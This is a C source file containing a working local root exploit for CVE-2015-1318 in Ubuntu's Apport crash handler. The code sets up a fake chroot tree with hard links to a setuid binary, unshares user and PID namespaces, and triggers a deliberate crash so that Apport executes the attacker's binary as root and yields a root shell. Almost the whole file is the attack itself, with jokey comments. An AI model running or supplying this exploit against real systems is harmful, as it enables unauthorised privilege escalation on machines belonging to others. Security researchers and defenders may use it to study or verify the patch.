CVE-2015-1318.c

/*

   gcc -Wall -Wextra -Werror CVE-2015-1318.c -o exploit

*/

#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <elf.h>
#include <err.h>
#include <syslog.h>
#include <sched.h>
#include <linux/sched.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>


#define DIR_PERMS S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IXGRP  \
	          | S_IROTH | S_IXOTH

static int make_dirs(void)
{
	if (mkdir("/home/u0631426/fake_root/", DIR_PERMS) != 0) {
		perror("fake_root");
		return 1;
	}

	if (mkdir("/home/u0631426/fake_root/usr", DIR_PERMS) != 0) {
		perror("usr");
		return 1;
	}

	if (mkdir("/home/u0631426/fake_root/usr/share", DIR_PERMS) != 0) {
		perror("usr");
		return 1;
	}

	if (mkdir("/home/u0631426/fake_root/usr/share/apport", DIR_PERMS) != 0) {
		perror("usr");
		return 1;
	}

	return 0;
}

static int make_hardlinks(void)
{

	if (link("/home/u0631426/rootyTooty", "/home/u0631426/fake_root/rootyTooty") != 0) {
		perror("rootyTooty");
		return 1;
	}
	if (link("/home/u0631426/rootsuid_rootyTooty",
		 "/home/u0631426/fake_root/usr/share/apport/apport") != 0) {
		perror("setuid'r");
		return 1;
	}
	return 0;
}


static inline void check_fork_errors(pid_t type, const char* msg) {
	if(type == -1) {
		perror(msg);
		exit(EXIT_FAILURE);
	}
}

static int hack_the_planet(void)
{
	pid_t _main, child, grand_child;
	int status;

	_main = fork();
	/*
	   remember fork can error, some of the nastiest bugs you'll ever come
	   across are not checking for bad fork ret values
	*/
	check_fork_errors(_main, "fork main");

	if(_main == 0) {
		/* child */

		/* Create new user namespace:

	           Unshare the user namespace, so that the calling process
		   is moved into a new user namespace which is not shared with
		   any previously existing process.

		   Unshare the PID namespace, so that the calling process
		   has a new PID namespace for its children which is not shared
		   with any previously existing process.
		*/
		if (unshare(CLONE_NEWPID | CLONE_NEWUSER) != 0) {
			perror("CHILD UNSHARE, are you sure you're on a 3.8> kernel?");
			exit(EXIT_FAILURE);
		}


		/* put a child in the new namespace. */
		child = fork();

		check_fork_errors(child, "Child fork error");

		if (child == 0) {
			if( getpid() != 1 ) {
				perror("SOMETHING IS WRONG, WE SHOULD BE INIT WITHIN NS");
				exit(EXIT_FAILURE);
			}

			/*
			  if init ever traps, that usually means all hell is breaking
			  loose on the machine The kernel doesn't yet differentiate
			  between traps in ns'd pid 1's and the true init.
			  That being the case we need to make a new process within
			  the name space and fault that one.
			*/
			grand_child = fork();

			check_fork_errors(grand_child, "GC failed");

			/* time to break things */
			/* setup the chroot */
			if(grand_child == 0) {
				if (chroot("/home/u0631426/fake_root") != 0) {
					perror("chroot failed!");
					exit(EXIT_FAILURE);
				}

				/* Normally, when you ls / , normally you see:
				   bin   cdrom  etc   initrd.img      lib    lib64
				   lost+found  mnt  proc  run   srv  tmp  var      vmlinuz.old
				   boot  dev    home  initrd.img.old  lib32  libx32  media
				   opt  root  sbin  sys  usr  vmlinuz

				   but since we chroot'd if you were to ls you'd see:
				   rootyTooty  usr

				*/


				/* trigger everything by causing a trap. You can use builtin_trap
				   or you can just dereference a funny pointer.
				   th..thanks c.
				*/
				*(unsigned long *)0xbadc0de0beeeeeef = 0x31337;

				/*
				  Apport is now exec()'ing our rootsuid_rootyTooty
				  which setuid's rootyTooty which will drop us rootshell
				  when we run it
				*/


				printf("lol wut, shouldnt happen");
				__builtin_trap();
			}
			/* If the subprocess exited with an abnormal signal,
			   then everything worked. */
			if (waitpid(grand_child, &status, 0) == grand_child) {
				return WIFSIGNALED(status)
					? EXIT_SUCCESS
					: EXIT_FAILURE;
			}

			/* if exploit worked, shouldn't be here */
			printf("EXPLOIT FAILED\n");
			return EXIT_FAILURE;
		}
		if (waitpid(child, &status, 0) == child) {
			return WIFSIGNALED(status)
				? EXIT_SUCCESS
				: EXIT_FAILURE;
		}

		printf("WAIT PID FAILED ON CHILD\n");
		return EXIT_FAILURE;
	}

	return waitpid(_main, &status, 0);
}

int main(void)
{


	/* setup fake directory structure we'll chroot */
	if (make_dirs())
		return EXIT_FAILURE;

	if (make_hardlinks())
		return EXIT_FAILURE;

	hack_the_planet();

	return EXIT_SUCCESS;
}